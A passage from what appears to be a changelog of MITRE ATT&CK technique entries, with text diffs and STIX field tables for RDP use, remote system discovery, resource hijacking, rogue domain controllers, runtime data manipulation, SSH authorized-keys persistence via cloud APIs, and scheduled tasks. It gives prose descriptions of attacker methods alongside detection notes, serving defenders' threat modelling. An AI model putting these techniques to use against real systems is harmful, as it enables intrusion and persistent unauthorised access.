Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| g/techniques/T1078) to log into a computer using the Remote | | g/techniques/T1078) to log into a computer using the Remote |
| Desktop Protocol (RDP). The adversary may then perform actio | | Desktop Protocol (RDP). The adversary may then perform actio |
| ns as the logged-on user. Remote desktop is a common featur | | ns as the logged-on user. Remote desktop is a common featur |
| e in operating systems. It allows a user to log into an inte | | e in operating systems. It allows a user to log into an inte |
| ractive session with a system desktop graphical user interfa | | ractive session with a system desktop graphical user interfa |
| ce on a remote system. Microsoft refers to its implementatio | | ce on a remote system. Microsoft refers to its implementatio |
| n of the Remote Desktop Protocol (RDP) as Remote Desktop Ser | | n of the Remote Desktop Protocol (RDP) as Remote Desktop Ser |
| vices (RDS).(Citation: TechNet Remote Desktop Services) Ad | | vices (RDS).(Citation: TechNet Remote Desktop Services) Ad |
| versaries may connect to a remote system over RDP/RDS to exp | | versaries may connect to a remote system over RDP/RDS to exp |
| and access if the service is enabled and allows access to ac | | and access if the service is enabled and allows access to ac |
| counts with known credentials. Adversaries will likely use C | | counts with known credentials. Adversaries will likely use C |
| redential Access techniques to acquire credentials to use wi | | redential Access techniques to acquire credentials to use wi |
| th RDP. Adversaries may also use RDP in conjunction with the | | th RDP. Adversaries may also use RDP in conjunction with the |
| [Accessibility Features](https://attack.mitre.org/technique | | [Accessibility Features](https://attack.mitre.org/technique |
| s/T1546/008) technique for Persistence.(Citation: Alperovitc | | s/T1546/008) or [Terminal Services DLL](https://attack.mitre |
| h Malware) | | .org/techniques/T1505/005) for Persistence.(Citation: Alpero |
| | | vitch Malware) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-02-25 19:23:34.204000+00:00 | 2022-03-28 16:07:44.605000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware) | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware) |
| x_mitre_data_sources[0] | Process: Process Creation | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network Traffic: Network Connection Creation | Process: Process Creation |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | Logon Session: Logon Session Creation |
| x_mitre_data_sources[3] | Logon Session: Logon Session Creation | Network Traffic: Network Connection Creation |
| x_mitre_version | 1.0 | 1.1 |
[T1018] Remote System Discovery
Current version: 3.3
Version changed from: 3.2 → 3.3
|
|
|---|
| t | Adversaries may attempt to get a listing of other systems by | t | Adversaries may attempt to get a listing of other systems by |
| IP address, hostname, or other logical identifier on a netw | | IP address, hostname, or other logical identifier on a netw |
| ork that may be used for Lateral Movement from the current s | | ork that may be used for Lateral Movement from the current s |
| ystem. Functionality could exist within remote access tools | | ystem. Functionality could exist within remote access tools |
| to enable this, but utilities available on the operating sys | | to enable this, but utilities available on the operating sys |
| tem could also be used such as [Ping](https://attack.mitre. | | tem could also be used such as [Ping](https://attack.mitre. |
| org/software/S0097) or <code>net view</code> using [Net](htt | | org/software/S0097) or <code>net view</code> using [Net](htt |
| ps://attack.mitre.org/software/S0039). Adversaries may also | | ps://attack.mitre.org/software/S0039). Adversaries may also |
| use local host files (ex: <code>C:\Windows\System32\Drivers\ | | analyze data from local host files (ex: <code>C:\Windows\Sy |
| etc\hosts</code> or <code>/etc/hosts</code>) in order to dis | | stem32\Drivers\etc\hosts</code> or <code>/etc/hosts</code>) |
| cover the hostname to IP address mappings of remote systems. | | or other passive means (such as local [Arp](https://attack.m |
| | | itre.org/software/S0099) cache entries) in order to discover |
| | | the presence of remote systems in an environment. Adversar |
| | | ies may also target discovery of network infrastructure as w |
| | | ell as leverage [Network Device CLI](https://attack.mitre.or |
| | | g/techniques/T1059/008) commands on network devices to gathe |
| | | r detailed information about systems within a network.(Citat |
| | | ion: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS M |
| | | ay 2021) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator', 'SYSTEM'] | |
| external_references | CAPEC-292 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 15:30:00.172000+00:00 | 2022-04-20 18:10:53.167000+00:00 |
| description | Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
| Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).
Adversaries may also analyze data from local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.
Adversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)
|
| external_references[1]['source_name'] | capec | CISA AR21-126A FIVEHANDS May 2021 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/292.html | https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a |
| x_mitre_version | 3.2 | 3.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'} |
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/292.html', 'external_id': 'CAPEC-292'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_data_sources | | Command: Command Execution |
| x_mitre_platforms | | Network |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1496] Resource Hijacking
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may leverage the resources of co-opted systems i | t | Adversaries may leverage the resources of co-opted systems i |
| n order to solve resource intensive problems which may impac | | n order to solve resource intensive problems, which may impa |
| t system and/or hosted service availability. One common pu | | ct system and/or hosted service availability. One common p |
| rpose for Resource Hijacking is to validate transactions of | | urpose for Resource Hijacking is to validate transactions of |
| cryptocurrency networks and earn virtual currency. Adversari | | cryptocurrency networks and earn virtual currency. Adversar |
| es may consume enough system resources to negatively impact | | ies may consume enough system resources to negatively impact |
| and/or cause affected machines to become unresponsive.(Citat | | and/or cause affected machines to become unresponsive.(Cita |
| ion: Kaspersky Lazarus Under The Hood Blog 2017) Servers and | | tion: Kaspersky Lazarus Under The Hood Blog 2017) Servers an |
| cloud-based(Citation: CloudSploit - Unused AWS Regions) sys | | d cloud-based systems are common targets because of the high |
| tems are common targets because of the high potential for av | | potential for available resources, but user endpoint system |
| ailable resources, but user endpoint systems may also be com | | s may also be compromised and used for Resource Hijacking an |
| promised and used for Resource Hijacking and cryptocurrency | | d cryptocurrency mining.(Citation: CloudSploit - Unused AWS |
| mining. Containerized environments may also be targeted due | | Regions) Containerized environments may also be targeted due |
| to the ease of deployment via exposed APIs and the potential | | to the ease of deployment via exposed APIs and the potentia |
| for scaling mining activities by deploying or compromising | | l for scaling mining activities by deploying or compromising |
| multiple containers within an environment or cluster.(Citati | | multiple containers within an environment or cluster.(Citat |
| on: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed | | ion: Unit 42 Hildegard Malware)(Citation: Trend Micro Expose |
| Docker APIs) Additionally, some cryptocurrency mining malw | | d Docker APIs) Additionally, some cryptocurrency mining mal |
| are kills off processes for competing malware to ensure it’s | | ware identify then kill off processes for competing malware |
| not competing for resources.(Citation: Trend Micro War of C | | to ensure it’s not competing for resources.(Citation: Trend |
| rypto Miners) | | Micro War of Crypto Miners) Adversaries may also use malwar |
| | | e that leverages a system's network bandwidth as part of a b |
| | | otnet in order to facilitate [Network Denial of Service](htt |
| | | ps://attack.mitre.org/techniques/T1498) campaigns and/or to |
| | | seed malicious torrents.(Citation: GoBotKR) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 12:06:32.187000+00:00 | 2022-04-18 20:16:44.560000+00:00 |
| description | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability.
One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining. Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware kills off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) | Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability.
One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)
Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) |
| external_references[1]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Unit 42 Hildegard Malware |
| external_references[1]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[1]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| external_references[3]['source_name'] | Unit 42 Hildegard Malware | Kaspersky Lazarus Under The Hood Blog 2017 |
| external_references[3]['description'] | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. |
| external_references[3]['url'] | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ | https://securelist.com/lazarus-under-the-hood/77908/ |
| x_mitre_data_sources[2] | File: File Creation | Sensor Health: Host Status |
| x_mitre_data_sources[5] | Sensor Health: Host Status | File: File Creation |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'GoBotKR', 'description': 'Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.', 'url': 'https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/'} |
[T1207] Rogue Domain Controller
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-02-09 15:13:27.670000+00:00 | 2022-03-08 21:20:04.850000+00:00 |
| x_mitre_data_sources[0] | Active Directory: Active Directory Object Creation | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[1] | Active Directory: Active Directory Object Modification | User Account: User Account Authentication |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Content | Active Directory: Active Directory Object Creation |
| x_mitre_data_sources[3] | User Account: User Account Authentication | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)
Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)
Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)
Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. | Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)
Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)
Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)
Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. |
| x_mitre_version | 2.0 | 2.1 |
[T1565.003] Data Manipulation: Runtime Data Manipulation
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may modify systems in order to manipulate the da | t | Adversaries may modify systems in order to manipulate the da |
| ta as it is accessed and displayed to an end user.(Citation: | | ta as it is accessed and displayed to an end user, thus thre |
| FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By | | atening the integrity of the data.(Citation: FireEye APT38 O |
| manipulating runtime data, adversaries may attempt to affec | | ct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating ru |
| t a business process, organizational understanding, and deci | | ntime data, adversaries may attempt to affect a business pro |
| sion making. Adversaries may alter application binaries use | | cess, organizational understanding, and decision making. Ad |
| d to display data in order to cause runtime manipulations. A | | versaries may alter application binaries used to display dat |
| dversaries may also conduct [Change Default File Association | | a in order to cause runtime manipulations. Adversaries may a |
| ](https://attack.mitre.org/techniques/T1546/001) and [Masque | | lso conduct [Change Default File Association](https://attack |
| rading](https://attack.mitre.org/techniques/T1036) to cause | | .mitre.org/techniques/T1546/001) and [Masquerading](https:// |
| a similar effect. The type of modification and the impact it | | attack.mitre.org/techniques/T1036) to cause a similar effect |
| will have depends on the target application and process as | | . The type of modification and the impact it will have depen |
| well as the goals and objectives of the adversary. For compl | | ds on the target application and process as well as the goal |
| ex systems, an adversary would likely need special expertise | | s and objectives of the adversary. For complex systems, an a |
| and possibly access to specialized software related to the | | dversary would likely need special expertise and possibly ac |
| system that would typically be gained through a prolonged in | | cess to specialized software related to the system that woul |
| formation gathering campaign in order to have the desired im | | d typically be gained through a prolonged information gather |
| pact. | | ing campaign in order to have the desired impact. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-28 23:10:34.359000+00:00 | 2022-03-25 19:24:18.545000+00:00 |
| description | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. | Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. |
| x_mitre_data_sources[0] | Process: OS API Execution | File: File Metadata |
| x_mitre_data_sources[1] | File: File Creation | File: File Deletion |
| x_mitre_data_sources[2] | File: File Deletion | File: File Creation |
| x_mitre_data_sources[3] | File: File Modification | Process: OS API Execution |
| x_mitre_data_sources[4] | File: File Metadata | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
[T1098.004] Account Manipulation: SSH Authorized Keys
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may modify the SSH <code>authorized_keys</code> | t | Adversaries may modify the SSH <code>authorized_keys</code> |
| file to maintain persistence on a victim host. Linux distrib | | file to maintain persistence on a victim host. Linux distrib |
| utions and macOS commonly use key-based authentication to se | | utions and macOS commonly use key-based authentication to se |
| cure the authentication process of SSH sessions for remote m | | cure the authentication process of SSH sessions for remote m |
| anagement. The <code>authorized_keys</code> file in SSH spec | | anagement. The <code>authorized_keys</code> file in SSH spec |
| ifies the SSH keys that can be used for logging into the use | | ifies the SSH keys that can be used for logging into the use |
| r account for which the file is configured. This file is usu | | r account for which the file is configured. This file is usu |
| ally found in the user's home directory under <code><user | | ally found in the user's home directory under <code><user |
| -home>/.ssh/authorized_keys</code>.(Citation: SSH Authori | | -home>/.ssh/authorized_keys</code>.(Citation: SSH Authori |
| zed Keys) Users may edit the system’s SSH config file to mod | | zed Keys) Users may edit the system’s SSH config file to mod |
| ify the directives PubkeyAuthentication and RSAAuthenticatio | | ify the directives PubkeyAuthentication and RSAAuthenticatio |
| n to the value “yes” to ensure public key and RSA authentica | | n to the value “yes” to ensure public key and RSA authentica |
| tion are enabled. The SSH config file is usually located und | | tion are enabled. The SSH config file is usually located und |
| er <code>/etc/ssh/sshd_config</code>. Adversaries may modif | | er <code>/etc/ssh/sshd_config</code>. Adversaries may modif |
| y SSH <code>authorized_keys</code> files directly with scrip | | y SSH <code>authorized_keys</code> files directly with scrip |
| ts or shell commands to add their own adversary-supplied pub | | ts or shell commands to add their own adversary-supplied pub |
| lic keys. This ensures that an adversary possessing the corr | | lic keys. In cloud environments, adversaries may be able to |
| esponding private key may log in as an existing user via SSH | | modify the SSH authorized_keys file of a particular virtual |
| .(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linu | | machine via the command line interface or rest API. For exam |
| x Exim Worm) | | ple, by using the Google Cloud CLI’s “add-metadata” command |
| | | an adversary may add SSH keys to a user account.(Citation: G |
| | | oogle Cloud Add Metadata)(Citation: Google Cloud Privilege E |
| | | scalation) Similarly, in Azure, an adversary may update the |
| | | authorized_keys file of a virtual machine via a PATCH reques |
| | | t to the API.(Citation: Azure Update Virtual Machines) This |
| | | ensures that an adversary possessing the corresponding priva |
| | | te key may log in as an existing user via SSH.(Citation: Ven |
| | | afi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) Wh |
| | | ere authorized_keys files are modified via cloud APIs or com |
| | | mand line interfaces, an adversary may achieve privilege esc |
| | | alation on the target virtual machine if they add a key to a |
| | | higher-privileged user. |
New Mitigations:
- M1018: User Account Management
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-25 16:32:23.367000+00:00 | 2022-04-20 16:26:57.982000+00:00 |
| description | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm) | Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)
Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. |
| external_references[1]['source_name'] | SSH Authorized Keys | Venafi SSH Key Abuse |
| external_references[1]['description'] | ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020. | Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020. |
| external_references[1]['url'] | https://www.ssh.com/ssh/authorized_keys/ | https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities |
| external_references[2]['source_name'] | Venafi SSH Key Abuse | Google Cloud Privilege Escalation |
| external_references[2]['description'] | Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020. | Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities | https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ |
| x_mitre_detection | Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file.
Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. | Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.
Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Google Cloud Add Metadata', 'description': 'Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata'} |
| external_references | | {'source_name': 'Azure Update Virtual Machines', 'description': 'Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update'} |
| external_references | | {'source_name': 'SSH Authorized Keys', 'description': 'ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.', 'url': 'https://www.ssh.com/ssh/authorized_keys/'} |
| x_mitre_contributors | | Dror Alon, Palo Alto Networks |
| x_mitre_contributors | | Or Kliger, Palo Alto Networks |
| x_mitre_data_sources | | File: File Modification |
| x_mitre_platforms | | IaaS |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Modification | |
[T1053.005] Scheduled Task/Job: Scheduled Task
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may abuse the Windows Task Scheduler to perform | t | Adversaries may abuse the Windows Task Scheduler to perform |
| task scheduling for initial or recurring execution of malici | | task scheduling for initial or recurring execution of malici |
| ous code. There are multiple ways to access the Task Schedul | | ous code. There are multiple ways to access the Task Schedul |
| er in Windows. The <code>schtasks</code> can be run directly | | er in Windows. The [schtasks](https://attack.mitre.org/softw |
| on the command line, or the Task Scheduler can be opened th | | are/S0111) utility can be run directly on the command line, |
| rough the GUI within the Administrator Tools section of the | | or the Task Scheduler can be opened through the GUI within t |
| Control Panel. In some cases, adversaries have used a .NET w | | he Administrator Tools section of the Control Panel. In some |
| rapper for the Windows Task Scheduler, and alternatively, ad | | cases, adversaries have used a .NET wrapper for the Windows |
